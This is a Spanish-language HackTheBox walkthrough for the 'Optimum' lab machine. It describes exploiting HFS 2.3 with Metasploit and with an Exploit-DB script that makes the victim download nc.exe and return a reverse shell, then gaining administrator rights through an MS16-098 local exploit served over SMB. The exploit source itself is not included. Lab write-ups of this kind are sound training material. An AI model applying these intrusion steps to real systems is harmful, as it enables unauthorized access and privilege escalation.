Optimum – HackTheBox Write-up

Optimum – HackTheBox Write-up

Hoy vamos a resolver la máquina Optimum de HackTheBox, en ella, explotaremos una vulnerabilidad en el servicio HFS tanto con metasploit como sin este y, escalaremos privilegios gracias a un exploit local.

Dificultad asignada en la plataforma: 4.6/10

Dirección ip de la máquina en mi caso: 10.129.1.127

Esta sala se divide en:

Enumeración 

Primero, como siempre, se empieza con un escaneo de todos los puertos con furious, para ello:

furious -s connect -p1-65535 <IP>

Vemos que solo tiene abierto el puerto 80 (HTTP), así que procedemos a hacer un escaneo más profundo sobre este puerto con nmap, para ello:

nmap -sC -sV -p80 <IP>

El resultado será que nos encontramos contra un HFS en su versión 2.3, ya que se trata de un servicio http, vamos a verlo en el navegador y, efectivamente es un HFS:

En este punto, el fuzzing con gobuster fue algo que no dio apenas información interesante:

Volviendo al reconocimiento inicial, nmap detecto que estamos frente a un HFS versión 2.3, por lo que haremos la explotación de dicho HFS de dos formas, una manual y otra con metasploit, para que no queden dudas, así que vamos a ello.

Explotación con metasploit

Partiendo de que ya se debe tener la msfconsole operativa, se busca un exploit para el servicio que tenemos y, usamos el exploit que más se adecue a la situación, en mi caso el segundo:

Y, ya solo queda configurar las opciones:

Lanzar el exploit y, ya con eso estamos dentro:

Ahora vamos con la explotación manual.

Explotación sin metasploit

Para ello usaremos searchsploit para buscar exploits para el mismo servicio en cuestión y, seleccionaremos el más adecuado, en este caso usaré este:

Lo copiamos al directorio actual donde estamos trabajando con:

searchsploit -m <código_exploit>

Si leemos el exploit, podemos ver que nos pide que a través de un servidor web, hagamos una especie de hosting a el binario nc.exe para que, de esta manera, la máquina victima pueda descargarlo, ejecutarlo y devolvernos la shell, además que nos dice que lo más probable es que tengamos que ejecutar el script múltiples veces para que funcione:

De igual forma, el exploit nos pide que lo modifiquemos, en este caso, establecer la ip y el puerto por donde se recibirá la shell:

Importante que la ip sea la ip de la interfaz conectada a la VPN de HTB, ya que esta es la interfaz puede ver en red a la máquina como tal. Con todo guardado, ya está todo listo por parte del exploit, ahora necesitamos el ejecutable de nc, normalmente tanto en Kali como Parrot (que son las distros más usadas en ciberseguridad), este ejecutable compilado para windows ya está en el sistema y lo podemos conseguir con el comando:

locate nc.exe

Ahora copiamos el binario con cp a nuestro directorio actual y, solamente quedaría iniciar el servidor http para que la máquina victima lo descargue, para ello usaré Python:

Ahora, nos ponemos a la escucha en el puerto que le indicamos dentro del exploit, en mi caso el 443, para ello:

nc -lvp <puerto>

Ahora, ejecutamos el exploit que, en este punto, este va a hacer que la máquina victima descargue el ejecutable ya que usará la variable “ip_addr” para indicarle a dicha máquina a cuál servidor http debe ir para descargar el ejecutable en cuestión, así que sin más ejecutamos el exploit y le proporcionamos la ip y puerto del servicio dentro de Optimus, de la máquina victima:

python 39161.py <ip> <puerto>

Podemos ver que, al hacerlo por primera vez, la máquina se ha descargado el ejecutable de nc, ahora ejecutémoslo de nuevo para obtener la shell:

En este punto ya estamos dentro de la máquina otra vez y, ahora sí, leeremos la bandera de usuario:

Escalación de privilegios

En este caso tenemos que escalar privilegios al usuario administrador, enumerando un poco la máquina de forma manual, me he dado cuenta de que cuenta con una versión de Windows que es vulnerable a, entre muchísimas cosas, al MS16-098, entonces, para buscar un exploit que sirva para abusar de esta vulnerabilidad, una vez más usaré searchsploit:

searchsploit MS16-098 -w

Con el parámetro “-w” le estoy indicando que, en lugar de darme la ruta del exploit en mi máquina, me dé su URL en Exploit Database, para poder investigar un poco más al respecto del exploit que usaremos:

Yendo a exploit database, nos podemos percatar que en el exploit nos muestra que tiene un repo de github con el ejecutable:

De esta forma, vamos a hacer un wget del ejecutable:

wget (url)

Ya lo tenemos, ahora iniciamos un servidor samba en nuestra máquina para que nos permita descargar el exploit desde nuestra shell en la máquina víctima, ya que, este es un exploit local y tiene que ser ejecutado de forma local como su nombre indica, para ello usaremos:

Impacket-smbserver  info . -smb2support 

Ahora, desde la máquina víctima, ejecutaremos:

\\<ip>\info\<nombre_exploit>

Al hacerlo, ya tenemos una shell como administrador:

Y, ya podemos leer la bandera correspondiente:

Opinión personal:

  • Dificultad de acceso: 28% 28%
  • Dificultad de escalación de privilegios: 20% 20%

He hecho esta puntuación basándome en estos valores propios:

Fácil1% – 30%

Medio: 31% – 70%

Difícil: 71% – 100%

Anuncio

Sobre el Autor

Martin Frias

Founder of Coldd Security

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información adicional sobre protección de datos:
Responsable: Martin Frias.
Finalidad: Moderar los comentarios de este sitio web.
Cesión: NO se cederán a nadie, salvo obligación legal.
Derechos: Acceso, rectificación, cancelación y borrado de tus datos.
Legitimación: Tu consentido expreso.

REDES SOCIALES

Newsletter

Estadísticas

  • 163.177
  • 55

TheHackerSnow

0

Share This